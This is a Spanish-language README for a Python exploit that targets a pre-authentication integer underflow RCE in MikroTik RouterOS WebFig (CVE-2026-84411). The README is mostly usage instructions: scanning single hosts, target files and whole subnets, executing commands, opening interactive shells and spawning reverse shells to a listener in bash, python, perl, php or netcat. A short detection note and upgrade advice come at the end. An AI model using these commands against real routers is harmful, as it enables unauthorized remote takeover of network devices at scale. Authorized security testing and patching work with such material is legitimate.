
Exploit en Python para CVE-2026-84411, un desbordamiento negativo de enteros previo a la autenticación en MikroTik RouterOS WebFig que permite RCE, con escaneo, ejecución de comandos y shells inversas.
CVE-2026-84411 es una vulnerabilidad crítica de ejecución remota de código (RCE) previa a la autenticación en MikroTik RouterOS.
| Campo | Valor |
|---|---|
| CVSS v3 | 9.8 (Crítica) |
| CWE | CWE-191: Desbordamiento negativo de entero |
| Vector de ataque | Red |
| Autenticación | Ninguna (previa a la autenticación) |
| Impacto | RCE completa como root / DoS |
| Afectados | RouterOS < 7.24 |
| Corregido | RouterOS 7.24+ |
El servicio de gestión web (WebFig, escuchando en TCP/80 y TCP/443) contiene un desbordamiento negativo de entero en el manejo del cuerpo de las solicitudes HTTP. Una única solicitud HTTP especialmente diseñada —enviada sin iniciar sesión— puede provocar la caída del servicio o permitir la ejecución de código arbitrario con privilegios completos.
El desbordamiento negativo se produce cuando el analizador calcula la longitud del cuerpo con una validación insuficiente, lo que permite que el valor se envuelva por debajo de cero y desborde negativamente hacia un entero sin signo muy grande. Las operaciones de memoria que confían en esta longitud corrupta (copias, asignaciones, comprobaciones de límites) se comportan entonces de forma catastrófica.
# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1
# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check
# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"
# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive
# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444
# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt
# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24
# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells
usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
[--check] [--shell LHOST LPORT] [--cmd COMMAND]
[--interactive] [--list-shells]
[--lhost LHOST] [--lport LPORT] [-v]
[--timeout TIMEOUT] [--no-color]
CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit
options:
-h, --help show this help message
-t, --target TARGET Target URL or host (e.g., http://192.168.88.1)
-i, --input INPUT_FILE
File with targets (one per line)
--range CIDR IP range to scan (CIDR notation)
--check Run full exploit check
--shell LHOST LPORT Spawn reverse shell
--cmd COMMAND Execute single command
--interactive Interactive shell session
--list-shells List available reverse shell types
--lhost LHOST Listener host for reverse shell
--lport LPORT Listener port for reverse shell
-v, --verbose Verbose output
--timeout TIMEOUT Request timeout in seconds (default: 10)
--no-color Disable ANSI colours
La herramienta utiliza cuatro métodos de detección:
Content-Length mucho mayor que el tamaño real del cuerpoContent-Length para provocar un desbordamiento negativoContent-Length coincidente| Tipo | Comando |
|---|---|
bash | Reverse shell estándar de bash |
python | Reverse shell de Python 2 |
python3 | Reverse shell de Python 3 |
perl | Reverse shell de Perl |
php | Reverse shell de PHP |
nc | Reverse shell de Netcat |
targets.txt — un objetivo por línea:
http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com
La señal de mayor fidelidad es cualquier conexión a los puertos de gestión web de RouterOS (TCP/80, TCP/443) desde un origen que no sea un host de gestión conocido.
Consulta la publicación del blog de Security Arsenal para las reglas Sigma: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide
Actualiza a RouterOS 7.24 o posterior.
Solo para pruebas de seguridad autorizadas.
Port a Python basado en el PoC en Go de Gagaltotal666 / GhostGTR666.